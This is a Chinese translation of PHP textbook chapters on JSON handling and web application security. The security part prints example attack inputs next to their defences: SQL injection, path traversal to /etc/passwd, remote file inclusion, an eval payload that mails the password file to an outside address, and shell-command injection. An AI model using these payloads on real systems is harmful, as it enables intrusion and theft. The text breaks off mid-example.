PHP-编程指南第四版-六-

117 阅读36分钟

PHP 编程指南第四版(六)

原文:zh.annas-archive.org/md5/516bbc09499c161bb049b4edb114d468

译者:飞龙

协议:CC BY-NC-SA 4.0

第十三章:JSON

类似于 XML,JavaScript 对象表示法(JSON)被设计为一种标准化的数据交换格式。但是,与 XML 不同,JSON 非常轻量级且易于人阅读。虽然它从 JavaScript 中借鉴了许多语法提示,但 JSON 设计为与语言无关。

JSON 基于两种结构构建:名/值对的集合称为对象(相当于 PHP 的关联数组)和值的有序列表称为数组(相当于 PHP 的索引数组)。每个值可以是多种类型之一:对象、数组、字符串、数字、布尔值TRUEFALSE,或者NULL(表示缺少值)。

使用 JSON

json扩展在 PHP 安装中默认包含,本地支持将数据从 PHP 变量转换为 JSON 格式,反之亦然。

要获取 PHP 变量的 JSON 表示形式,请使用json_encode()

$data = array(1, 2, "three");
$jsonData = json_encode($data);
echo $jsonData;
`[``1``,` `2``,` `"``three``"``]`

类似地,如果有包含 JSON 数据的字符串,可以使用json_decode()将其转换为 PHP 变量:

$jsonData = "[1, 2, [3, 4], \"five\"]";
$data = json_decode($jsonData);
print_r($data);
`Array``(` `[``0``]` `=>` `1` `[``1``]` `=>` `2` `[``2``]` `=>` `Array``(` `[``0``]` `=>` `3` `[``1``]` `=>` `4` `)` `[``3``]` `=>` `five``)`

如果字符串是无效的 JSON,或者字符串不是以 UTF-8 格式编码,那么将返回一个NULL值。

JSON 中的值类型转换为 PHP 等效值如下:

object

包含对象键值对的关联数组。每个值也被转换为其 PHP 等效值。

array

包含包含的值的索引数组,每个值也被转换为其 PHP 等效值。

string

直接转换为 PHP 字符串。

number

返回一个数字。如果值过大而无法由 PHP 的数字值表示,则返回NULL,除非使用json_decode()调用JSON_BIGINT​_AS_STRING(此时将返回一个字符串)。

boolean

布尔值true转换为TRUE;布尔值false转换为FALSE

null

null值以及无法解码的任何值都被转换为NULL

序列化 PHP 对象

尽管名称相似,PHP 对象与 JSON 对象之间没有直接转换——JSON 称之为“对象”的东西实际上是一个关联数组。要将 JSON 数据转换为 PHP 对象类的实例,必须编写基于 API 返回格式的代码来执行此操作。

然而,JsonSerializable接口允许您根据您的喜好将对象转换为 JSON 数据。如果对象类未实现该接口,json_encode()简单地创建一个 JSON 对象,其中包含与对象数据成员对应的键和值。

否则,json_encode()调用类的jsonSerialize()方法并使用其序列化对象数据。

示例 13-1 将JsonSerializable接口添加到BookAuthor类中。

示例 13-1. 书籍和作者的 JSON 序列化
class Book implements JsonSerializable {
 public $id;
 public $name;
 public $edition;

 public function __construct($id) {
 $this->id = $id;
 }

 public function jsonSerialize() {
 $data = array(
 'id' => $this->id,
 'name' => $this->name,
 'edition' => $this->edition,
 );

 return $data;
 }
}

class Author implements JsonSerializable {
 public $id;
 public $name;
 public $books = array();

 public function __construct($id) {
 $this->id = $id;
 }

 public function jsonSerialize() {
 $data = array(
 'id' => $this->id,
 'name' => $this->name,
 'books' => $this->books,
 );

 return $data;
 }
}

从 JSON 数据创建 PHP 对象需要编写代码执行转换。

示例 13-2 展示了一个类,实现了将 JSON 数据转换为BookAuthor实例成为 PHP 对象的工厂式转换。

示例 13-2. 通过工厂对 Book 和 Author 进行 JSON 序列化
class ResourceFactory {
 static public function authorFromJSON($jsonData) {
 $author = new Author($jsonData['id']);
 $author->name = $jsonData['name'];

 foreach ($jsonData['books'] as $bookIdentifier) {
 $this->books[] = new Book($bookIdentifier);
 }

 return $author;
 }

 static public function bookFromJSON($jsonData) {
 $book = new Book($jsonData['id']);
 $book->name = $jsonData['name'];
 $book->edition = (int) $jsonData['edition'];

 return $book;
 }
}

选项

JSON 解析器函数有多个选项可设置以控制转换过程。

对于json_decode(),最常见的选项包括:

JSON_BIGINT_AS_STRING

当解码一个过大无法表示为 PHP 数字类型的数字时,返回该值作为字符串。

JSON_OBJECT_AS_ARRAY

将 JSON 对象解码为 PHP 数组。

对于json_encode(),最常见的选项包括:

JSON_FORCE_OBJECT

将 PHP 值的索引数组编码为 JSON 对象,而不是 JSON 数组。

JSON_NUMERIC_CHECK

将表示数字值的字符串编码为 JSON 数字,而不是 JSON 字符串。在实践中,最好手动转换,这样你可以清楚知道类型是什么。

JSON_PRETTY_PRINT

使用空白符将返回的数据格式化为更易读的形式。虽然不是必需的,但可以简化调试。

最后,以下选项可用于json_encode()json_decode()

JSON_INVALID_UTF8_IGNORE

忽略无效的 UTF-8 字符。如果还设置了JSON_INVALID_UTF8_SUBSTITUTE,则替换它们;否则,在结果字符串中删除它们。

JSON_INVALID_UTF8_SUBSTITUTE

\0xfffd(Unicode 字符'REPLACEMENT CHARACTER')替换无效的 UTF-8 字符。

JSON_THROW_ON_ERROR

当发生错误时,抛出错误而不是填充全局最后错误状态。

接下来是什么

在编写 PHP 时,考虑的最重要的事情之一是代码的安全性,从代码吸收和防御攻击的能力到如何保护你自己和用户的数据。下一章提供了指导和最佳实践,帮助你避免与安全相关的灾难。

第十四章:安全

PHP 是一种灵活的语言,可以连接到其运行机器上提供的几乎每个 API。因为它被设计为用于 HTML 页面的表单处理语言,PHP 使得使用发送到脚本的表单数据变得简单。然而,便利性是一把双刃剑。正是这些特性使得你能够快速编写 PHP 程序,但也为那些企图入侵你系统的人打开了大门。

PHP 本身既不安全也不不安全。你的 Web 应用程序的安全性完全取决于你编写的代码。例如,如果脚本打开一个文件,其文件名作为表单参数传递给脚本,那么该脚本可以被赋予一个远程 URL、绝对路径名,甚至是相对路径,从而使其能够打开站点文档根目录之外的文件。这可能会暴露你的密码文件或其他敏感信息。

Web 应用程序安全性仍然是一个相对年轻和不断发展的学科。单独一章关于安全性不足以充分为你的应用程序抵御攻击做好准备。这一章采取务实的方法,涵盖了与安全相关的一系列主题的精选,包括如何保护你的应用程序免受最常见和最危险的攻击。该章节结尾附有进一步资源的列表以及简短的总结和一些额外的建议。

保护措施

在开发安全站点时,你需要理解的最基本的事情之一是,所有不是应用程序自身生成的信息都可能是被污染的,或者至少是可疑的。这包括来自表单、文件和数据库的数据。应始终有相应的保护措施或防护措施。

过滤输入

当数据被描述为被污染时,并不一定意味着它是恶意的。这意味着它可能是恶意的。你不能信任源头,因此你应该检查它以确保其有效。这个检查过程称为过滤,你只想允许有效的数据进入你的应用程序。

在过滤过程中有一些最佳实践:

  • 使用白名单方法。这意味着你在谨慎方面犯错,并假设数据是无效的,除非你能证明它是有效的。

  • 永远不要更正无效数据。历史已经证明,尝试更正无效数据通常会导致由于错误而产生安全漏洞。

  • 使用命名约定有助于区分经过过滤和被污染的数据。如果无法可靠地确定是否已经过滤,则过滤就毫无意义。

为了巩固这些概念,考虑一个简单的 HTML 表单,允许用户在三种颜色中选择:

<form action="process.php" method="POST">
 <p>Please select a color:

 <select name="color">
 <option value="red">red</option>
 <option value="green">green</option>
 <option value="blue">blue</option>
 </select>

 <input type="submit" /></p>
</form>

process.php 中信任 $_POST['color'] 是很容易的。毕竟,表单看似限制了用户可以输入的内容。然而,有经验的开发者知道 HTTP 请求对其包含的字段没有限制 —— 仅依赖客户端验证是不足够的。恶意数据可以通过多种方式发送到你的应用程序,你唯一的防御措施是什么都不信任,并过滤你的输入:

$clean = array();

switch($_POST['color']) {
 case 'red':
 case 'green':
 case 'blue':
 $clean['color'] = $_POST['color'];
 break;

 default:
 /* ERROR */
 break;
}

这个示例展示了一个简单的命名约定。你初始化一个名为 $clean 的数组。对于每个输入字段,验证输入并将验证后的输入存储在数组中。这样做可以减少被污染数据误认为是过滤数据的可能性,因为你总是应该谨慎行事,考虑到未存储在这个数组中的一切都可能是污染的。

你的过滤逻辑完全取决于你正在检查的数据类型,你越严格,越好。例如,考虑一个注册表单,要求用户提供一个期望的用户名。显然,有许多可能的用户名,所以先前的例子并不适用。在这些情况下,最好的方法是基于格式进行过滤。如果你希望要求用户名是字母数字的,你的过滤逻辑可以强制执行这一点:

$clean = array();

if (ctype_alnum($_POST['username'])) {
 $clean['username'] = $_POST['username'];
}
else {
 /* ERROR */
}

当然,这并不能确保任何特定长度。使用 mb_strlen() 检查字符串的长度,并强制施加最小和最大限制:

$clean = array();

$length = mb_strlen($_POST['username']);

if (ctype_alnum($_POST['username']) && ($length > 0) && ($length <= 32)) {
 $clean['username'] = $_POST['username'];
}
else {
 /* ERROR */
}

经常情况下,你想允许的字符并不都属于单一组(比如字母数字字符),这就是正则表达式可以帮助的地方。例如,考虑以下关于姓氏的过滤逻辑:

$clean = array();

if (preg_match("/[^A-Za-z \'\-]/", $_POST['last_name'])) {
 /* ERROR */
}
else {
 $clean['last_name'] = $_POST['last_name'];
}

此过滤器仅允许字母字符、空格、连字符和单引号(撇号),并采用前面描述的白名单方法。在这种情况下,白名单是有效字符的列表。

通常情况下,过滤是确保数据完整性的过程。但是虽然许多 Web 应用程序安全漏洞可以通过过滤来预防,但大多数是由于未对数据进行转义,而且两者都不能取代对方。

输出数据转义

转义 是一种在数据进入另一个上下文时保持其不变的技术。PHP 经常用作不同数据源之间的桥梁,在将数据发送到远程源时,你有责任适当地准备它,以避免被误解。

例如,当在 SQL 查询中用于发送到 MySQL 数据库时,O'Reilly 被表示为 O\'Reilly。反斜杠保留了单引号(撇号)在 SQL 查询语境中的含义。单引号是数据的一部分,而不是查询的一部分,转义确保了这种解释。

PHP 应用程序发送数据的两个主要远程来源是 HTTP 客户端(Web 浏览器),它们解释 HTML、JavaScript 和其他客户端技术,以及解释 SQL 的数据库。对于前者,PHP 提供了html``entities()

$html = array();
$html['username'] = htmlentities($clean['username'], ENT_QUOTES, 'UTF-8');

echo "<p>Welcome back, {$html['username']}.</p>";

本例展示了另一种命名约定的使用。$html数组类似于$clean数组,但其目的是保存在 HTML 上下文中安全使用的数据。

URL 有时嵌入到 HTML 中作为链接:

<a href="http://host/script.php?var={$value}">Click Here</a>

在这个特定的例子中,$value存在于嵌套的上下文中。它位于作为 HTML 链接嵌入的 URL 的查询字符串中。由于在这种情况下是字母的,因此可以安全地在这两个上下文中使用。然而,当$var的值在这些上下文中不能保证安全时,必须进行两次转义:

$url = array(
 'value' => urlencode($value),
);

$link = "http://host/script.php?var={$url['value']}";

$html = array(
 'link' => htmlentities($link, ENT_QUOTES, "UTF-8"),
);

echo "<a href=\"{$html['link']}\">Click Here</a>";

这确保链接在 HTML 上下文中安全使用,并且当作为 URL(例如用户点击链接时)使用时,URL 编码确保$var的值被保留。

对于大多数数据库,都有针对特定数据库的本地转义函数。例如,MySQL 扩展提供了mysqli_real_escape_string()

$mysql = array(
 'username' => mysqli_real_escape_string($clean['username']),
);

$sql = "SELECT * FROM profile
 WHERE username = '{$mysql['username']}'";

$result = mysql_query($sql);

更安全的替代方案是使用处理转义的数据库抽象库。以下示例说明了使用PEAR::DB来实现这一概念:

$sql = "INSERT INTO users (last_name) VALUES (?)";

$db->query($sql, array($clean['last_name']));

尽管这不是一个完整的例子,但它突显了在 SQL 查询中使用占位符(问号)的技术。PEAR::DB根据数据库的要求正确引用和转义数据。查看第九章以获取有关占位符技术更详细的介绍。

一个更完整的输出转义解决方案应包括对 HTML 元素、HTML 属性、JavaScript、CSS 和 URL 内容的上下文感知转义,并且以 Unicode 安全的方式执行。示例 14-1 展示了一个根据开放式网络应用安全项目定义的内容转义规则,在多种情境下进行输出转义的示例类。

示例 14-1. 多种情境下的输出转义
class Encoder
{
 const ENCODE_STYLE_HTML = 0;
 const ENCODE_STYLE_JAVASCRIPT = 1;
 const ENCODE_STYLE_CSS = 2;
 const ENCODE_STYLE_URL = 3;
 const ENCODE_STYLE_URL_SPECIAL = 4;

 private static $URL_UNRESERVED_CHARS =
 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcedfghijklmnopqrstuvwxyz-_.~';

 public function encodeForHTML($value) {
 $value = str_replace('&', '&amp;', $value);
 $value = str_replace('<', '&lt;', $value);
 $value = str_replace('>', '&gt;', $value);
 $value = str_replace('"', '&quot;', $value);
 $value = str_replace('\'', '&#x27;', $value); // &apos; is not recommended
 $value = str_replace('/', '&#x2F;', $value); // forward slash can help end 
 HTML entity

 return $value;
 }

 public function encodeForHTMLAttribute($value) {
 return $this->_encodeString($value);
 }

 public function encodeForJavascript($value) {
 return $this->_encodeString($value, self::ENCODE_STYLE_JAVASCRIPT);
 }

 public function encodeForURL($value) {
 return $this->_encodeString($value, self::ENCODE_STYLE_URL_SPECIAL);
 }

 public function encodeForCSS($value) {
 return $this->_encodeString($value, self::ENCODE_STYLE_CSS);
 }

 /**
 * Encodes any special characters in the path portion of the URL. Does not
 * modify the forward slash used to denote directories. If your directory
 * names contain slashes (rare), use the plain urlencode on each directory
 * component and then join them together with a forward slash.
 *
 * Based on http://en.wikipedia.org/wiki/Percent-encoding and
 * http://tools.ietf.org/html/rfc3986
 */
 public function encodeURLPath($value) {
 $length = mb_strlen($value);

 if ($length == 0) {
 return $value;
 }

 $output = '';

 for ($i = 0; $i < $length; $i++) {
 $char = mb_substr($value, $i, 1);

 if ($char == '/') {
 // Slashes are allowed in paths.
 $output .= $char;
 }
 else if (mb_strpos(self::$URL_UNRESERVED_CHARS, $char) == false) {
 // It's not in the unreserved list so it needs to be encoded.
 $output .= $this->_encodeCharacter($char, self::ENCODE_STYLE_URL);
 }
 else {
 // It's in the unreserved list so let it through.
 $output .= $char;
 }
 }

 return $output;
 }

 private function _encodeString($value, $style = self::ENCODE_STYLE_HTML) {
 if (mb_strlen($value) == 0) {
 return $value;
 }

 $characters = preg_split('/(?<!^)(?!$)/u', $value);
 $output = '';

 foreach ($characters as $c) {
 $output .= $this->_encodeCharacter($c, $style);
 }

 return $output;
 }

 private function _encodeCharacter($c, $style = self::ENCODE_STYLE_HTML) {
 if (ctype_alnum($c)) {
 return $c;
 }

 if (($style === self::ENCODE_STYLE_URL_SPECIAL) && ($c == '/' || $c == ':')) {
 return $c;
 }

 $charCode = $this->_unicodeOrdinal($c);

 $prefixes = array(
 self::ENCODE_STYLE_HTML => array('&#x', '&#x'),
 self::ENCODE_STYLE_JAVASCRIPT => array('\\x', '\\u'),
 self::ENCODE_STYLE_CSS => array('\\', '\\'),
 self::ENCODE_STYLE_URL => array('%', '%'),
 self::ENCODE_STYLE_URL_SPECIAL => array('%', '%'),
 );

 $suffixes = array(
 self::ENCODE_STYLE_HTML => ';',
 self::ENCODE_STYLE_JAVASCRIPT => '',
 self::ENCODE_STYLE_CSS => '',
 self::ENCODE_STYLE_URL => '',
 self::ENCODE_STYLE_URL_SPECIAL => '',
 );

 // if ASCII, encode with \\xHH
 if ($charCode < 256) {
 $prefix = $prefixes[$style][0];
 $suffix = $suffixes[$style];

 return $prefix . str_pad(strtoupper(dechex($charCode)), 2, '0') . $suffix;
 }

 // otherwise encode with \\uHHHH
 $prefix = $prefixes[$style][1];
 $suffix = $suffixes[$style];

 return $prefix . str_pad(strtoupper(dechex($charCode)), 4, '0') . $suffix;
 }

 private function _unicodeOrdinal($u) {
 $c = mb_convert_encoding($u, 'UCS-2LE', 'UTF-8');
 $c1 = ord(substr($c, 0, 1));
 $c2 = ord(substr($c, 1, 1));

 return $c2 * 256 + $c1;
 }
}

安全漏洞

现在我们已经探讨了两种主要的保护方法,让我们转向它们试图解决的一些常见安全漏洞。

跨站脚本攻击

跨站脚本攻击(XSS)已成为最常见的 Web 应用程序安全漏洞,随着 Ajax 技术的日益流行,XSS 攻击可能会变得更加复杂和频繁发生。

跨站脚本攻击这一术语源自一个旧的漏洞利用,对于大多数现代攻击来说已经不再非常描述性或准确,这导致了一些混淆。简单来说,每当你输出未经适当转义的数据到输出的上下文中时,你的代码就容易受到漏洞攻击。例如:

echo $_POST['username'];

这是一个极端的例子,因为$_POST显然既没有经过过滤也没有转义,但它展示了这种漏洞。

XSS 攻击仅限于客户端技术可以实现的范围。在历史上,XSS 已被用来通过利用document.cookie中包含的信息来获取受害者的 cookies。

为了防止 XSS 攻击,您只需正确转义您的输出以适应输出环境:

$html = array(
 'username' => htmlentities($_POST['username'], ENT_QUOTES, "UTF-8"),
);

echo $html['username'];

您还应始终过滤输入,这在某些情况下可以提供冗余的保护(实施冗余的保护符合被称为深度防御的安全原则)。例如,如果您检查用户名以确保它是字母,并且只输出经过过滤的用户名,则不会存在 XSS 漏洞。只需确保您不依赖过滤作为防止 XSS 的主要保护措施,因为它不解决问题的根本原因。

SQL 注入

第二常见的 Web 应用程序漏洞是 SQL 注入,这是一种与 XSS 非常相似的攻击。不同之处在于,SQL 注入漏洞存在于您在 SQL 查询中使用未转义数据的任何地方。(如果这些名称更一致,XSS 可能被称为“HTML 注入”。)

以下示例演示了 SQL 注入漏洞:

$hash = hash($_POST['password']);

$sql = "SELECT count(*) FROM users
 WHERE username = '{$_POST['username']}' AND password = '{$hash}'";

$result = mysql_query($sql);

问题在于,如果用户名没有被转义,其值可以操纵 SQL 查询的格式。因为这种特定的漏洞非常常见,许多攻击者尝试使用以下用户名尝试登录到目标站点:

chris' --

攻击者喜欢使用这个用户名,因为它允许访问用户名为chris'的账户,而无需知道该账户的密码。在插入后,SQL 查询变成:

SELECT count(*)
FROM users
WHERE username = 'chris' --'
AND password = '...'";

因为两个连续的破折号(--)表示 SQL 注释的开始,所以这个查询与以下查询是相同的:

SELECT count(*)
FROM users
WHERE username = 'chris'

如果包含此代码片段的代码假设 $result 非零时登录成功,则此 SQL 注入将允许攻击者登录到任何账户,而无需知道或猜测密码。

主要通过转义输出来保护您的应用程序免受 SQL 注入的攻击:

$mysql = array();

$hash = hash($_POST['password']);
$mysql['username'] = mysql_real_escape_string($clean['username']);

$sql = "SELECT count(*) FROM users
 WHERE username = '{$mysql['username']}' AND password = '{$hash}'";

$result = mysql_query($sql);

然而,这只是确保转义的数据被解释为数据。您仍然需要过滤数据,因为像百分号(%)这样的字符在 SQL 中具有特殊含义,但不需要被转义。

防范 SQL 注入的最佳方法是使用绑定参数。以下示例演示了 PHP 的 PDO 扩展和 Oracle 数据库中绑定参数的使用:

$sql = $db->prepare("SELECT count(*) FROM users
 WHERE username = :username AND password = :hash");

$sql->bindParam(":username", $clean['username'], PDO::PARAM_STRING, 32);
$sql->bindParam(":hash", hash($_POST['password']), PDO::PARAM_STRING, 32);

因为绑定参数确保数据永远不会进入被误解的上下文(即,它永远不会被错误解释),因此不需要对用户名和密码进行转义。

文件名漏洞

构造一个指向与您预期不同的内容的文件名相当容易。例如,假设您有一个$username变量,其中包含用户通过表单字段指定的希望称呼的名称。现在假设您希望将每个用户的欢迎消息存储在目录*/usr/local/lib/greetings*中,以便在用户登录到您的应用程序时随时输出该消息。打印当前用户欢迎词的代码如下:

include("/usr/local/lib/greetings/{$username}");

这看起来似乎并无大碍,但如果用户选择用户名为"../../../../etc/passwd",那么现在包含欢迎语的代码将包含这个相对路径:/etc/passwd。相对路径是黑客常用的一种针对不经意脚本的常见技巧。

另一个对不慎编程者的陷阱在于,默认情况下,PHP 可以使用与打开本地文件相同的函数来打开远程文件。fopen()函数及其使用的任何内容(如include()require())都可以将 HTTP 或 FTP URL 作为文件名传递,并且将打开 URL 标识的文档。例如:

chdir("/usr/local/lib/greetings");
$fp = fopen($username, 'r');

如果$username设置为*www.example.com/myfile*,将打开…

如果您允许用户告诉您要include()的文件,则情况将更糟:

$file = $_REQUEST['theme'];
include($file);

如果用户传递了theme参数为*www.example.com/badcode.inc… PHP 脚本将愉快地加载并运行远程代码。永远不要像这样使用参数作为文件名。

有几种解决方案可以解决检查文件名的问题。您可以禁用远程文件访问,使用realpath()basename()(如下所述)检查文件名,并使用open_basedir选项限制在站点文档根目录之外的文件系统访问。

检查相对路径

当您需要允许用户在应用程序中指定文件名时,您可以使用realpath()basename()函数的组合来确保文件名应该是什么。realpath()函数解析特殊标记(如...)。调用realpath()后,结果路径是一个完整的路径,然后您可以使用basename()函数仅返回路径的文件名部分。

回到我们的欢迎消息场景,这里展示了realpath()basename()的实际应用:

$filename = $_POST['username'];
$vetted = basename(realpath($filename));

if ($filename !== $vetted) {
 die("{$filename} is not a good username");
}

在这种情况下,我们已经将$filename解析为其完整路径,然后仅提取文件名。如果此值与$filename的原始值不匹配,那么我们有一个不希望使用的坏文件名。

一旦您获得了完全裸露的文件名,您可以根据合法文件的存放位置重建文件路径,并根据实际文件内容添加文件扩展名:

include("/usr/local/lib/greetings/{$filename}");

会话固定

针对会话的一个非常流行的攻击是会话固定。其流行的主要原因是这是攻击者获取有效会话标识符的最简单方法。因此,它被设计为会话劫持攻击的一个跳板。

会话固定是任何导致受害者使用攻击者选择的会话标识符的方法。最简单的例子是带有嵌入式会话标识符的链接:

<a href="http://host/login.php?PHPSESSID=1234">Log In</a>

点击此链接的受害者将恢复为标识为1234的会话,并且如果受害者继续登录,攻击者可以劫持受害者的会话以提升权限级别。

有几种变体的这种攻击,包括一些使用 cookie 来达到同样目的的攻击。幸运的是,防护措施简单、直接且一致。每当权限级别有变化时,例如用户登录时,使用session_regenerate_id()重新生成会话标识符:

if (check_auth($_POST['username'], $_POST['password'])) {
 $_SESSION['auth'] = TRUE;
 session_regenerate_id(TRUE);
}

通过确保任何登录的用户(或以任何方式提升权限级别的用户)被分配一个新的随机会话标识符,有效地防止会话固定攻击。

文件上传陷阱

文件上传结合了我们已经讨论过的两个危险:用户可修改的数据和文件系统。虽然 PHP 7 本身在处理上传文件时是安全的,但对于不谨慎的程序员来说,有几个潜在的陷阱。

不信任浏览器提供的文件名

谨慎使用浏览器发送的文件名。如果可能,不要将其用作文件系统上文件的名称。很容易让浏览器发送一个被标识为*/etc/passwd/home/kevin/.forward*的文件。您可以将浏览器提供的名称用于所有用户交互,但实际调用文件时应自动生成一个唯一名称。例如:

$browserName = $_FILES['image']['name'];
$tempName = $_FILES['image']['tmp_name'];

echo "Thanks for sending me {$browserName}.";

$counter++; // persistent variable
$filename = "image_{$counter}";

if (is_uploaded_file($tempName)) {
 move_uploaded_file($tempName, "/web/images/{$filename}");
}
else {
 die("There was a problem processing the file.");
}

警惕文件系统被填满

另一个陷阱是上传文件的大小。虽然您可以告诉浏览器上传文件的最大大小,但这只是建议,不能确保您的脚本不会收到更大的文件。攻击者可以通过发送足够大的文件来进行拒绝服务攻击,以填满您服务器的文件系统。

php.ini中的post_max_size配置选项设置为您希望的最大大小(以字节为单位):

post_max_size = 1024768; // one megabyte

PHP 将忽略数据负载大于此大小的请求。默认的 10 MB 可能比大多数网站需要的要大。

考虑 EGPCS 设置

默认的variables_order(EGPCS:环境变量、GETPOST、cookie、服务器)在处理GETPOST参数之前处理 cookie。这使得用户有可能发送一个 cookie,覆盖您认为包含上传文件信息的全局变量。为了避免像这样被欺骗,检查给定的文件是否确实是一个上传文件,可以使用is_uploaded_file()函数。例如:

$uploadFilepath = $_FILES['uploaded']['tmp_name'];

if (is_uploaded_file($uploadFilepath)) {
 $fp = fopen($uploadFilepath, 'r');

 if ($fp) {
 $text = fread($fp, filesize($uploadFilepath));
 fclose($fp);

 // do something with the file's contents
 }
}

PHP 提供了move_uploaded_file()函数,仅在文件是上传文件时移动文件。这比直接使用系统级函数或 PHP 的copy()函数移动文件更可取。例如,以下代码不能通过 Cookie 欺骗:

move_uploaded_file($_REQUEST['file'], "/new/name.txt");

未经授权的文件访问

如果只有您和信任的人可以登录到您的 Web 服务器,则无需担心 PHP 程序使用或创建的文件的文件权限。然而,大多数网站托管在 ISP 的机器上,存在非信任用户可以读取您的 PHP 程序创建的文件的风险。有许多技术可用于处理文件权限问题。

限制文件系统访问到特定目录

您可以设置open_basedir选项以限制 PHP 脚本对特定目录的访问。如果在您的php.ini中设置了open_basedir,PHP 将限制文件系统和 I/O 函数,使其只能在该目录或其任何子目录中操作。例如:

open_basedir = /some/path

有了这个配置,以下函数调用将成功:

unlink("/some/path/unwanted.exe");
include("/some/path/less/travelled.inc");

但这些会生成运行时错误:

$fp = fopen("/some/other/file.exe", 'r');
$dp = opendir("/some/path/../other/file.exe");

当然,一个 Web 服务器可以运行多个应用程序,每个应用程序通常将文件存储在自己的目录中。您可以像这样在httpd.conf文件中为每个虚拟主机基础上配置open_basedir

<VirtualHost 1.2.3.4>
 ServerName domainA.com
 DocumentRoot /web/sites/domainA
 php_admin_value open_basedir /web/sites/domainA
</VirtualHost>

类似地,您可以在httpd.conf中按目录或 URL 配置它:

# by directory
<Directory /home/httpd/html/app1>
 php_admin_value open_basedir /home/httpd/html/app1
</Directory>

# by URL
<Location /app2>
 php_admin_value open_basedir /home/httpd/html/app2
</Location>

只能在httpd.conf文件中设置open_basedir目录,而不能在.htaccess文件中设置,必须使用php_admin_value来设置它。

第一次就正确地获取权限

不要创建文件然后更改其权限。这会产生竞争条件,即幸运的用户可以在创建文件后但在锁定之前打开文件。相反,请使用umask()函数去除不必要的权限。例如:

umask(077); // disable ---rwxrwx
$fh = fopen("/tmp/myfile", 'w');

默认情况下,fopen()函数尝试以 0666(rw-rw-rw-)权限创建文件。首先调用umask()禁用组和其他位,只留下 0600(rw-------)。现在,当调用fopen()时,文件将以这些权限创建。

不要使用文件

因为在同一台机器上运行的所有脚本都以相同的用户身份运行,所以一个脚本创建的文件可以被另一个脚本读取,而不管哪个用户编写了该脚本。一个脚本要知道如何读取文件只需要知道该文件的名称。

没有办法改变这一点,所以最好的解决方案是不使用文件来存储应该受保护的数据;存储数据的最安全位置是在数据库中。

一个复杂的解决方法是为每个用户运行单独的 Apache 守护程序。如果您在一组 Apache 实例前面添加一个反向代理,如haproxy,您可能能够在单台机器上为 100 多个用户提供服务。然而,很少有网站这样做,因为复杂性和成本远远高于典型情况,其中一个 Apache 守护进程可以为数千用户提供 Web 页面。

保护会话文件

使用 PHP 内置的会话支持,会话信息存储在文件中。每个文件的名称是/tmp/sess_*id*,其中*id*是会话的名称,并由 Web 服务器用户 ID(通常是nobody)拥有。

因为所有 PHP 脚本都通过 Web 服务器以相同的用户身份运行,这意味着服务器上托管的任何 PHP 脚本都可以读取其他 PHP 站点的任何会话文件中的变量。在存储您的 PHP 代码与其他用户的 PHP 脚本共享的 ISP 服务器上的情况下,您存储在会话中的变量对其他 PHP 脚本是可见的。

更糟糕的是,服务器上的其他用户可以在会话目录*/tmp*中创建文件。没有任何阻止攻击者创建具有他们想要的任何变量和值的假会话文件。然后,他们可以让浏览器发送包含伪造会话名称的 cookie 给您的脚本,您的脚本将愉快地加载伪造会话文件中存储的变量。

一种解决方法是要求您的服务提供商配置其服务器,将会话文件放置在您自己的目录中。通常,这意味着 Apache httpd.conf文件中的您的VirtualHost块将包含:

php_value session.save_path /some/path

如果您的服务器具有.htaccess的功能,并且 Apache 已配置为允许您覆盖选项,则可以自行进行更改。

隐藏 PHP 库

许多黑客通过下载与 HTML 和 PHP 文件一起存储在 Web 服务器文档根目录中的包含文件或数据,了解了其弱点。为了防止这种情况发生在您身上,您只需将代码库和数据存储在服务器文档根目录之外即可。

例如,如果文档根目录是*/home/httpd/html*,则该目录下方的所有内容都可以通过 URL 下载。将您的库代码、配置文件、日志文件和其他数据放在该目录之外(例如*/usr/local/lib/myapp*)是一件简单的事情。这不会阻止 Web 服务器上的其他用户访问这些文件(参见“不要使用文件”),但它确实防止了远程用户下载这些文件。

如果必须将这些辅助文件存储在文档根目录中,您应该配置 Web 服务器拒绝对这些文件的请求。例如,这会告诉 Apache 拒绝对具有常见 PHP 包含文件扩展名*.inc*的任何文件的请求:

<Files ~ "\.inc$">
 Order allow,deny
 Deny from all
</Files>

防止下载 PHP 源文件的更好和更受欢迎的方法是始终使用*.php*扩展名。

如果您将代码库存储在与使用它们的 PHP 页面不同的目录中,您需要告诉 PHP 库的位置。要么在每个include()require()中给出代码的路径,要么更改php.ini中的include_path

include_path = ".:/usr/local/php:/usr/local/lib/myapp";

PHP 代码问题

使用eval()函数,PHP 允许脚本执行任意 PHP 代码。虽然在极少数情况下它可能有用,但允许任何用户提供的数据进入eval()调用只会引发被黑客攻击的风险。例如,以下代码是一个安全噩梦:

<html>
 <head>
 <title>Here are the keys...</title>
 </head>

 <body>
 <?php if ($_REQUEST['code']) {
 echo "Executing code...";

 eval(stripslashes($_REQUEST['code'])); // BAD!
 } ?>

 <form action="<?php echo $_SERVER['PHP_SELF']; ?>">
 <input type="text" name="code" />
 <input type="submit" name="Execute Code" />
 </form>
 </body>
</html>

此页面从表单中获取一些任意的 PHP 代码,并将其作为脚本的一部分运行。运行的代码可以访问所有的全局变量,并以脚本相同的权限运行。不难理解为什么这是一个问题。在表单中输入以下内容:

include("/etc/passwd");

绝不要这样做。确保这样的脚本永远不会安全是不可能的。

你可以通过在php.ini中的disable_functions配置选项中列出它们来全局禁用特定的函数调用,用逗号分隔。例如,你可能永远不需要system()函数,因此可以完全禁用它:

disable_functions = system

这并不会让eval()更安全,因为没有办法阻止重要变量被更改,也不能防止诸如echo()这样的内置结构被调用。

includerequireinclude_oncerequire_once的情况下,最好的方法是使用allow_url_fopen关闭远程文件访问。

在使用preg_replace()eval()/e选项时,特别是在调用中使用了任何用户输入的数据时,是很危险的。考虑以下情况:

eval("2 + {$userInput}");

这似乎相当无害。但是,假设用户输入以下值:

2; mail("l33t@somewhere.com", "Some passwords", "/bin/cat /etc/passwd");

在这种情况下,将同时执行预期的命令和你希望避免的命令。唯一可行的解决方案是永远不要将用户提供的数据传递给eval()

Shell 命令的弱点

在你的代码中要非常谨慎使用exec()system()passthru()popen()函数以及反引号操作符(`)。shell 是一个问题,因为它识别特殊字符(例如,分号用于分隔命令)。例如,假设你的脚本包含以下行:

system("ls {$directory}");

如果用户将"/tmp;cat /etc/passwd"作为$directory参数传递,因为system()执行以下命令,你的密码文件会被显示:

ls /tmp;cat /etc/passwd

在必须将用户提供的参数传递给 shell 命令时,使用escapeshellarg()来转义字符串中具有特殊含义的序列:

$cleanedArg = escapeshellarg($directory);
system("ls {$cleanedArg}");

现在,如果用户传递"/tmp;cat /etc/passwd",实际运行的命令是:

